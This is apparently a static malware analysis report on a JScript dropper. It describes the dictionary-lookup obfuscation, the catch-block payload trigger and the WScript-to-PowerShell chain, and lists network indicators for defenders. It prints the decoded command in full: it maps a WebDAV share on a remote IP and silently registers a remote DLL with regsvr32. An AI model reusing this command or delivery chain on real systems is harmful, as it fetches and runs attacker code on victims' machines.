be172014 — JScript WebDAV Dropper with Dictionary-Lookup Obfuscation

Build / RE

Language: JScript for Windows Script Host (WSH). Plain ASCII text with very long lines (~1 MB total). ^[file.txt]

Obfuscation: Custom dictionary lookup — a single 534-char variable name (fwoaflucwxewhzyplxtbnmvzmkrdxfggbjfrodtkegggthowyzroukjyaariaflzeipdrwufmjchjwemxdkqdjrjbxxmjznjuovfxfyorprmzihezrlquhtgludgpusvjnzqehhzeybthufcgxyfmkpexkwkenrjrqhhrssqluobpjllujoiogdyiritqlrsjcnnjjqbyfijqjujuakaaiqbompjwjntvkpeokpiuqaxdtsbwlmwxdfcemjqtvnouaqtimsuefhjgwucfksbfmhkeksakmzsfgvwalwzhprznonwicjckgcdxwxbxkkahnxmdidkvihwfezioufisxpvxbwfwkfntbfgheupgukafsscqdvaopnavpsrgedscslawsiocnxkxyhvrralhungsuaeymjsddecuhzslzzeiuktdflrvxmuzolygclciehrrjehlnswphphxkebffldhqwvbeyiamofmfvfbaowukiqeshqswlvtyzjidyfnmkiqrleoqynmrbjrnihoepftkkzyglrhfjvnnxhhczgkoymonmpfdtuwnmfoxxighnxseuksdzumonycqaoizqnvbhmjqxfclmwerwlowrdoabdexppvetluodevelopmentheapcrush) is declared as an empty array and populated with exactly 62 character assignments (var['noise-key']='c';). ^[strings.txt:1]. The payload string is built by concatenating var['key1']+var['key2']+... inside a Function('' + ... + '')(0,false); call. ^[decode_catch.py].

Anti-analysis: Minimal. No debugger checks, no sandbox evasion, no VM detection. The obfuscation itself (massive noise variable, 62-entry character map) is the only defense. No control-flow flattening or commercial packer. ^[capa.txt] (capa produced no PE-relevant hits; sample is not a binary). ^[pefile.txt] ("not PE").

Code quality: Low — verbose noise, no meaningful error handling, single straight-line execution path. The try block calls a non-existent function (scandalouswhirlfloor()) solely to trigger the catch block, which then evaluates the decoded payload. ^[terminal analysis].

Payload delivery mechanism: The catch block decodes to Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](powershell '-EncodedCommand ...'); — a classic WScript→WScript.Shell→PowerShell chain. ^[decode_catch.py]. The -EncodedCommand argument is a UTF-16-LE base64 blob. ^[terminal analysis].

Decoded PowerShell payload:

net use \\94.159.113.79@8888\davwwwroot\;regsvr32 /s \\94.159.113.79@8888\davwwwroot\150132177020171.dll

^[terminal analysis]. This uses WebDAV (davwwwroot) for remote DLL staging and silent registration via regsvr32 /s. The @8888 syntax maps the WebDAV share to port 8888.

Network IOCs:

• C2 / staging: 94.159.113.79:8888 (WebDAV)
• Payload file: 150132177020171.dll

Deploy / ATT&CK

No dynamic analysis available — CAPE skipped detonation because the file is ASCII text, not a supported binary class. ^[dynamic-analysis.md:1]. All behavioural inferences are static, derived from the decoded PowerShell command. The net use + regsvr32 /s pattern is a well-documented WebDAV DLL sideloading chain (webdav-regsvr32-dll-sideloading).

Attribution: No linguistic clues, no code-reuse overlaps, no certificate. The obfuscation style (single massive variable, 62-char dictionary, natural-language noise keys like cherryspillmeasly, nightmantowering, edgedefeated) aligns with the unclassified-js-dropper cluster. The WebDAV+regsvr32 chain is identical to sibling 0e45e1b2 (dailywebstats.com:8888). High-confidence cluster sibling.

Siblings

• 0e45e1b2 — Same family: 62-entry noise-key dictionary (cutikiyr), WebDAV C2 dailywebstats.com:8888, payload 31643864132689.dll, regsvr32 /s execution. See unclassified-js-dropper entity page.

Related

• js-dictionary-char-lookup-obfuscation — Technique page for this obfuscation pattern.
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV+regsvr32 execution chain.
• unclassified-js-dropper — Family entity.

Static-only analysis. No PE. No CAPE detonation possible. Confidence: high for cluster attribution, high for C2/payload extraction.